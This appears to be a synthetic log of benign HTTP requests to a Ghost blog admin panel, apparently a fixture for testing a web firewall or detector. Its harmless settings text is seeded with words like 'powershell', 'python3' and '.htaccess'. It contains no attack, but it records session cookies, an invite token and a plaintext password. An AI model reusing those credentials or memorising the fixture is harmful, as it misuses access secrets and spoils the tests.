{"method": "GET", "target": "/ghost/assets/design-settings-R1OjGW68.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/network-C2Wz-Sfw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/explore-default-logo-P7UjmPqe.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/integrations-settings-Ba5Zx8yQ.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/pintura-CXOmq-5H.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/mailchimp-Ds_NQ04w.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/members-D1Y_hke9.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/member-route-BZwzEPZL.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/filters-2r-Nhhaw.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/classApi-G56FoJgF.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/filter-operator-options-DxNDR7Tm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/map-atlas-DafQOER4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/create-custom-field-popover-Dr-RhlK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/labels/?limit=100&order=name+asc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/newsletters/?filter=status%3A-archived&limit=50", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/members/?include=labels%2Ctiers&limit=100&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/world-states-CbpvhpIU.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/assets/map-atlas-DafQOER4.js", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 168", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"title\",\"value\":\"Example Blog: python3 & powershell notes\"},{\"key\":\"description\",\"value\":\"Shell tips: ls -la, .htaccess, python3 and powershell.\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/code-editor-view-CSIPkKHC.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/settings/", "headers": ["Host: example.com", "Content-Length: 417", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"settings\":[{\"key\":\"codeinjection_head\",\"value\":\"<meta name=\\\"google-site-verification\\\" content=\\\"example-verification-token\\\">\\n<link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\\n<style>:root { --ghost-accent-color: #2a6f97; } .gh-head { border-bottom: 1px solid #eee; }</style>\"},{\"key\":\"codeinjection_foot\",\"value\":\"<div class=\\\"site-note\\\">Hosted notes on python3, powershell and .htaccess.</div>\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/invite-user-modal-DjWUlzA-.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/roles/?limit=100&permissions=assign", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
||||||
|
